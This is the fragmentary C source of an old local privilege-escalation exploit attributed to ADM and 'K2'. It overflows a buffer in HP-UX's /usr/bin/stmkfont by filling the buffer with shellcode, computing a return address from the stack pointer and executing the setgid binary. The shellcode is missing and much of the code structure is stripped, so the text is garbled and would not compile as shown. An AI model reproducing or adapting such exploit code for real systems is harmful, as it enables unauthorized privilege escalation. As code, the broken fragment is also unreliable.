| /* Copyright (c) 2000 ADM */ /* All Rights Reserved */ /* THIS IS UNPUBLISHED PROPRIETARY SOURCE CODE OF ADM */ /* The copyright notice above does not evidence any */ /* actual or intended publication of such source code. */ /* */ /* Title: HP-UX /usr/bin/stmkfont */ /* Tested under: HP-UX 11.0 */ /* By: K2 */ /* Use: gcc -o hp-stmkfont hp-stmkfont.c ; ./hp-stmkfont */ /* sgid=bin (eh...) */ /* (more hp to come :) */ /* */ #include <stdio.h> #define BUF_LENGTH 2000 u_char hppa_shellcode[] = u_long get_sp(void) int main(int argc, char *argv[]) if(argc > 1) dso+=atoi(argv[1]); long_p = (u_long *) buf; for (i = 0; i < (BUF_LENGTH - code_length - xtra) / sizeof(u_long);
i++) char_p = (u_char *) long_p; char_p--; /* weirdness alighnment issue */ for (i = 0; i < code_length; i++) targ_addr = get_sp() - dso; for (i = 0; i < xtra /4; i++) execl("/usr/bin/stmkfont","stmkfont", buf,(char
*) 0); |